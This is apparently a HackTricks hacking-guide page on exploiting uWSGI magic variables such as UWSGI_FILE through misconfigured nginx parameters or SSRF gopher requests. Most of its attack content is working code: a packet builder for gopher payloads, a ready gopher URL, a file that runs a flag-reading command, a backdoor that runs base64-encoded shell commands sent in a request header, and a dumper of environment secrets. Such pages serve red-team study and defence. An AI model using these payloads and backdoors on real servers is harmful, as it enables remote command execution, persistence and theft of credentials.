WSGI Post-Exploitation Tricks
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WSGI Overview
Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications. Its native binary transport is the uwsgi protocol (lowercase) which carries a bag of key/value parameters (“uwsgi params”) to the backend application server.
Related pages you may also want to check:
SSRF (Server Side Request Forgery)
uWSGI Magic Variables Exploitation
uWSGI provides special “magic variables” that can change how the instance loads and dispatches applications. These variables are not normal HTTP headers — they are uwsgi parameters carried inside the uwsgi/SCGI/FastCGI request from the reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) to the uWSGI backend. If a proxy configuration maps user-controlled data into uwsgi parameters (for example via $arg_*, $http_*, or unsafely exposed endpoints that talk the uwsgi protocol), attackers can set these variables and achieve code execution.
Dangerous mappings in front proxies (nginx example)
Misconfigurations like the following directly expose uWSGI magic variables to user input:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
If the app or upload feature allows writing files under a predictable path, combining it with the mappings above usually results in immediate RCE when the backend loads the attacker-controlled file/module.
Key Exploitable Variables
UWSGI_FILE - Arbitrary File Load/Execute
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Loads and executes an arbitrary Python file as a WSGI application. If an attacker can control this parameter through the uwsgi param bag, they can achieve Remote Code Execution (RCE).
UWSGI_SCRIPT - Script Loading
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE.
UWSGI_MODULE and UWSGI_CALLABLE - Dynamic Module Loading
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
These parameters allow loading arbitrary Python modules and calling specific functions within them.
UWSGI_SETENV - Environment Variable Manipulation
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Can be used to modify environment variables, potentially affecting application behavior or loading malicious configuration.
UWSGI_PYHOME - Python Environment Manipulation
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters.
UWSGI_CHDIR - Directory Change
uwsgi_param UWSGI_CHDIR /etc/;
Changes the working directory before processing requests and may be combined with other features.
SSRF + uwsgi protocol (gopher) pivot
Threat model
If the target web app exposes an SSRF primitive and the uWSGI instance listens on an internal TCP socket (for example, socket = 127.0.0.1:3031), you can talk the raw uwsgi protocol via gopher and inject uWSGI magic variables.
This is possible because many deployments use a non-HTTP uwsgi socket internally; the reverse proxy (nginx/Apache) translates client HTTP into the uwsgi param bag. With SSRF+gopher you can directly craft the uwsgi binary packet and set dangerous variables like UWSGI_FILE.
uWSGI protocol structure (quick reference)
- Header (4 bytes):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - Body: sequence of
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
For standard requests modifier1 is 0. The body contains uwsgi params such as SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE, etc. See the official protocol spec for full details.
Minimal packet builder (generate gopher payload)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Example usage to force-load a file previously written on the server:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
Send the generated URL through the SSRF sink.
Worked example
If you can write a python file on disk (the extension doesn’t matter) with code like:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
Generate and trigger a gopher payload that sets UWSGI_FILE to this path. The backend will import and execute it as a WSGI app.
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Load it with UWSGI_FILE and reach it under a chosen SCRIPT_NAME.
Environment-based Persistence
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. Information Disclosure
Environment Variable Dumping
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
File System Access
Combine UWSGI_CHDIR with a file-serving helper to browse sensitive directories.
3. Privilege Escalation ideas
- If uWSGI runs with elevated privileges and writes sockets/pids owned by root, abusing env and directory changes may help you drop files with privileged owners or manipulate runtime state.
- Overriding configuration via environment (
UWSGI_*) inside a file loaded throughUWSGI_FILEcan affect process model and workers to make persistence stealthier.
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Reverse-proxy desync issues relevant to uWSGI chains (recent)
Deployments that use Apache httpd with mod_proxy_uwsgi have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer:
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): crafted origin response headers can cause HTTP response smuggling when
mod_proxy_uwsgiis in use. Upgrading Apache to ≥2.4.56 mitigates the issue. - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”
These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets.
References
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

